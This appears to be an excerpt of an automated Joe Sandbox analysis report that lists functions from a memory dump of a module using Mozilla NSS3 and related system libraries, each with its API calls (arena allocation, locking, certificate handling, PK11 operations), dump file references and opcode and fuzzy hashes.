Instruction Fuzzy Hash: 2811E6B1600204DFEB309F19DA48A6A77B4AB4531DF14883DE809C7B41E735E918CBE1

Function 6C7C0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016

Part of subcall function 6C8298D0: calloc.MOZGLUE(00000001,00000084,6C750936,00000001,?,6C75102C), ref: 6C8298E5

PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B
TlsGetValue.KERNEL32(00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1044
free.MOZGLUE(00000000,?,00000800,6C75EF74,00000000), ref: 6C7C1064

Strings

security, xrefs: 6C7C1025

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 6de3701ea779ca6c53ff05c3f41a80a5232f9131c066d507f857a4e28af48ccf
Instruction ID: ee386e6ae86e1e661ad0706c308d4d182cbbc9a97174f7ce2862a841f7dda571
Opcode Fuzzy Hash: 6de3701ea779ca6c53ff05c3f41a80a5232f9131c066d507f857a4e28af48ccf
Instruction Fuzzy Hash: F10148707006529FE7302F3D8E08A563B68BF0274CF010535E80896A52EB60C194DBE3

Function 6C7F0570 Relevance: 10.5, APIs: 7, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C7DC89B,FFFFFE80,?,6C7DC89B), ref: 6C7F058B
free.MOZGLUE(?,?,6C7DC89B), ref: 6C7F0592
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6C7DC89B), ref: 6C7F05AE
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6C7DC89B), ref: 6C7F05C2
DeleteCriticalSection.KERNEL32(6C7DC89B,?,6C7DC89B), ref: 6C7F05D8
free.MOZGLUE(?,?,6C7DC89B), ref: 6C7F05DF
PR_SetError.NSS3(FFFFE09A,00000000,?,6C7DC89B), ref: 6C7F05FB

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Error$CriticalDeleteSectionfree$Value
String ID:
API String ID: 1757055810-0
Opcode ID: 2abd25e9afe129da163b4ea1d9912d7d237308f1d1ad1c4274772d1b898579a4
Instruction ID: 4ab31abd9e907bcf27d9fea7628f664592eac09ee1477045b6e5563b4ce61f4d
Opcode Fuzzy Hash: 2abd25e9afe129da163b4ea1d9912d7d237308f1d1ad1c4274772d1b898579a4
Instruction Fuzzy Hash: CE0128B1B151605BEA31AFA49E0DB4D3B786B0730DF000030E51652F82D3E85209C3EA

Function 6C802E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C803046

Part of subcall function 6C7EEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7EEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C7D7FFB), ref: 6C80312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C803154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C802E8B

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

Part of subcall function 6C7EF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C7D9BFF,?,00000000,00000000), ref: 6C7EF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C7D7FFA), ref: 6C802EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C80317B

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: d6a13a4ea30ab76a4e4592f4b880a65e0a1850019117b6bada4e9265bb22db0d
Instruction ID: ad2b4f1ad95c1ba8b27a25dbffaca0cb00ae910aa1ade062316fbc1dda85e429
Opcode Fuzzy Hash: d6a13a4ea30ab76a4e4592f4b880a65e0a1850019117b6bada4e9265bb22db0d
Instruction Fuzzy Hash: 3AA1CD71A002189FDB24CF54CC84BEAB7B5EF49308F048499ED4967741E775AD85CFA1

Function 6C7CED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C7CED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C7CEDCE

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

free.MOZGLUE(00000000,?,?,?,?,6C7CB04F), ref: 6C7CEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C7CEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C7CEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C7CEEFB

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: f06a2e14f6d1c000cf9a54379abf9154c90d54a2dea67e8c72be255033701853
Instruction ID: 985c0545ead28edc29de0bb09295de618cadaa4a28a3225811cfe647e2ced673
Opcode Fuzzy Hash: f06a2e14f6d1c000cf9a54379abf9154c90d54a2dea67e8c72be255033701853
Instruction Fuzzy Hash: E1817CB1B0020A9FEB14CF55DA86AAB77F9BF88348F144438E8159B751D730E854CBE2

Function 6C7CCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7CC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C7CDAE2,?), ref: 6C7CC6C2

PR_Now.NSS3 ref: 6C7CCD35

Part of subcall function 6C829DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DC6
Part of subcall function 6C829DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DD1
Part of subcall function 6C829DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C829DED

Part of subcall function 6C7B6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C761C6F,00000000,00000004,?,?), ref: 6C7B6C3F

PR_GetCurrentThread.NSS3 ref: 6C7CCD54

Part of subcall function 6C829BF0: TlsGetValue.KERNEL32(?,?,?,6C870A75), ref: 6C829C07

Part of subcall function 6C7B7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C761CCC,00000000,00000000,?,?), ref: 6C7B729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7CCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C7CCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C7CCE2C

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C7CCE40

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

Part of subcall function 6C7CCEE0: PORT_ArenaMark_Util.NSS3(?,6C7CCD93,?), ref: 6C7CCEEE
Part of subcall function 6C7CCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C7CCD93,?), ref: 6C7CCEFC
Part of subcall function 6C7CCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C7CCD93,?), ref: 6C7CCF0B
Part of subcall function 6C7CCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C7CCD93,?), ref: 6C7CCF1D

Part of subcall function 6C7CCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C7CCD93,?), ref: 6C7CCF47
Part of subcall function 6C7CCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C7CCD93,?), ref: 6C7CCF67
Part of subcall function 6C7CCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C7CCD93,?,?,?,?,?,?,?,?,?,?,?,6C7CCD93,?), ref: 6C7CCF78

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 2d63c83fb0f42067ef594099ed28a2c3c5acd05fa65e596e5b8cfc37d9884501
Instruction ID: 3408007d4333630f04242b66ab2c318ab156409ecc9c9cdeaf5ab2d7579c7ac1
Opcode Fuzzy Hash: 2d63c83fb0f42067ef594099ed28a2c3c5acd05fa65e596e5b8cfc37d9884501
Instruction Fuzzy Hash: DD51E3B6B001029FEB10EF69DE44BAA77F8EF49349F250534D844A7740EB31E905CB92

Function 6C7C66C0 Relevance: 9.1, APIs: 6, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7C66DF

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000168), ref: 6C7C66F9

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

memset.VCRUNTIME140(00000000,00000000,00000168), ref: 6C7C6728
PK11_GetInternalKeySlot.NSS3 ref: 6C7C6788
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C7C67AD
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C7C67C1

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ArenaUtil$Arena_Value$Alloc_AllocateCriticalEnterFreeInitInternalK11_LockOptionPoolSectionSlotUnlockcallocmemset
String ID:
API String ID: 3227582682-0
Opcode ID: 7f92fa84a56645f02fe9ca351d43c6b9fa077f5c8184b4ca31e0a1e68e0db1b8
Instruction ID: c7ad87a6495f42d3e7aa067e65760c90d5a84f22d0bcf86680b456c9b54d9cba
Opcode Fuzzy Hash: 7f92fa84a56645f02fe9ca351d43c6b9fa077f5c8184b4ca31e0a1e68e0db1b8
Instruction Fuzzy Hash: DD510BB1E002198FDB00CF69CA857EA7BF4AB08714F04457AEC08EB745E775DA54CBA2

Function 6C79EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C79EF38

Part of subcall function 6C789520: PK11_IsLoggedIn.NSS3(00000000,?,6C7B379E,?,00000001,?), ref: 6C789542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C79EF53

Part of subcall function 6C7A4C20: TlsGetValue.KERNEL32 ref: 6C7A4C4C
Part of subcall function 6C7A4C20: EnterCriticalSection.KERNEL32(?), ref: 6C7A4C60
Part of subcall function 6C7A4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4CA1
Part of subcall function 6C7A4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C7A4CBE
Part of subcall function 6C7A4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4CD2
Part of subcall function 6C7A4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A4D3A

PR_GetCurrentThread.NSS3 ref: 6C79EF9E

Part of subcall function 6C829BF0: TlsGetValue.KERNEL32(?,?,?,6C870A75), ref: 6C829C07

free.MOZGLUE(00000000), ref: 6C79EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C79F016
free.MOZGLUE(00000000), ref: 6C79F022

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: ce6c84ff0dbbabe651d78178abad38307c9f4feac1b59c624dfa22527b88358e
Instruction ID: fc6dde1613dd3562d85ae0e997df5238cc25d182fc1d34f4f88497342cfaaf5c
Opcode Fuzzy Hash: ce6c84ff0dbbabe651d78178abad38307c9f4feac1b59c624dfa22527b88358e
Instruction Fuzzy Hash: A34192B1E00209AFDF018FA9ED49BEE7BB9AF48358F044035F915A6351E772C915CBA1

Function 6C802640 Relevance: 9.1, APIs: 6, Instructions: 119COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,8B7874C0,?,?,?,00000000,?,?,?,6C7D99E8,00000000,00000000,?,?,?,?), ref: 6C80267E
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000000,?,?,?,6C7D99E8,00000000,00000000,?,?,?,?), ref: 6C80269D
memcpy.VCRUNTIME140(00000000,8B7874C0,?,?,?,?,?,?,00000000,?,?,?,6C7D99E8,00000000,00000000,?), ref: 6C8026AC
PK11_AEADOp.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,6C7D99E8), ref: 6C802714
PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,?,?,?,6C7D99E8,00000000,00000000,?,?,?,?,?), ref: 6C802737
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C802750

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memcpy$ErrorK11_memset
String ID:
API String ID: 2328202073-0
Opcode ID: d222c93932c10fb087577f325fcaebf02cb4109c305b08aa7071b5281c797237
Instruction ID: 2c245075e2d6f2bfd5ac504e2e029e48b4edf89a3b1c3f6b15eb9b40b3f44b1a
Opcode Fuzzy Hash: d222c93932c10fb087577f325fcaebf02cb4109c305b08aa7071b5281c797237
Instruction Fuzzy Hash: 56418A32A00118AFDF24CEA8CD84EEE77B5BF89308F554528F91867610E775EC55CB90

Function 6C7D0720 Relevance: 9.1, APIs: 6, Instructions: 116COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(6C7D175E,6C7D175E,?,?,6C7D2F23,6C7D175E,00000000,?,6C7D175E,00000000), ref: 6C7D0738

Part of subcall function 6C7C07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C768298,?,?,?,6C75FCE5,?), ref: 6C7C07BF
Part of subcall function 6C7C07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7C07E6
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C081B
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C0825

NSS_CMSSignedData_Destroy.NSS3(5304C483,6C7D175E,?,?,6C7D2F23,6C7D175E,00000000,?,6C7D175E,00000000), ref: 6C7D075C

Part of subcall function 6C7D3630: CERT_DestroyCertificate.NSS3(6C7D175E,?,6C7D175E,?,00000000,?,6C7D0761,5304C483,6C7D175E,?,?,6C7D2F23,6C7D175E,00000000,?,6C7D175E), ref: 6C7D3661
Part of subcall function 6C7D3630: CERT_DestroyCertificate.NSS3(6C7D175E,?,6C7D175E,?,00000000,?,6C7D0761,5304C483,6C7D175E,?,?,6C7D2F23,6C7D175E,00000000,?,6C7D175E), ref: 6C7D3681
Part of subcall function 6C7D3630: PORT_FreeArena_Util.NSS3(6C8BCA90,00000000,?,6C7D175E,?,00000000,?,6C7D0761,5304C483,6C7D175E,?,?,6C7D2F23,6C7D175E,00000000), ref: 6C7D36A5

PORT_ArenaUnmark_Util.NSS3(?,5304C483,6C7D175E,?,?,6C7D2F23,6C7D175E,00000000,?,6C7D175E,00000000), ref: 6C7D0794
free.MOZGLUE(850C478B,6C7D175E,00000000), ref: 6C7D07D0
PK11_FreeSymKey.NSS3(890473C1,6C7D175E,00000000), ref: 6C7D07E8

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: DestroyUtil$CertificateErrorFreeHashLookupTable$ArenaArena_ConstData_FindK11_SignedUnmark_free
String ID:
API String ID: 4228047643-0
Opcode ID: 71fff65d7fd2d9ef55b2da0a086aeafe4f75c025d1ff45a97687773c97a0cb2f
Instruction ID: e81fcb92c8aeb2b75fb173b14bf0030d8cf2a9c55081e10ca1f82ee88e066f00
Opcode Fuzzy Hash: 71fff65d7fd2d9ef55b2da0a086aeafe4f75c025d1ff45a97687773c97a0cb2f
Instruction Fuzzy Hash: B63197B6A01B419BEF108E369A487177BB5BF41728F175538D8299BF00EB31F4148BD2

Function 6C78CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C78CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C78D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C78D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C78D025
PR_NewLock.NSS3 ref: 6C78D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C78D074

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: a3762d41515a4052d2f6edd96fb05f386e470ec54ef30630bd03c323eaa4584f
Instruction ID: 6885a54adfb62751b66e3a23a4b7984b6e8ad57df980e0303a765e843e3681a6
Opcode Fuzzy Hash: a3762d41515a4052d2f6edd96fb05f386e470ec54ef30630bd03c323eaa4584f
Instruction Fuzzy Hash: F641E7B0A023128FEB10DF29CA847967BE4EF14319F10457ADD198BB46D774D485CBE6

Function 6C7765D0 Relevance: 9.1, APIs: 6, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(-00000007), ref: 6C77660F

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

free.MOZGLUE(00000000), ref: 6C776660
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C77667B
SGN_DecodeDigestInfo.NSS3(?), ref: 6C77669B
SECOID_GetAlgorithmTag_Util.NSS3(-00000004), ref: 6C7766B0
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7766C8

Part of subcall function 6C7A25D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C77662E,?,?), ref: 6C7A2670
Part of subcall function 6C7A25D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C77662E,?), ref: 6C7A2684
Part of subcall function 6C7A25D0: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C7A26C2
Part of subcall function 6C7A25D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6C7A26E0
Part of subcall function 6C7A25D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C7A26F4
Part of subcall function 6C7A25D0: PR_Unlock.NSS3(?), ref: 6C7A274D

Memory Dump Source

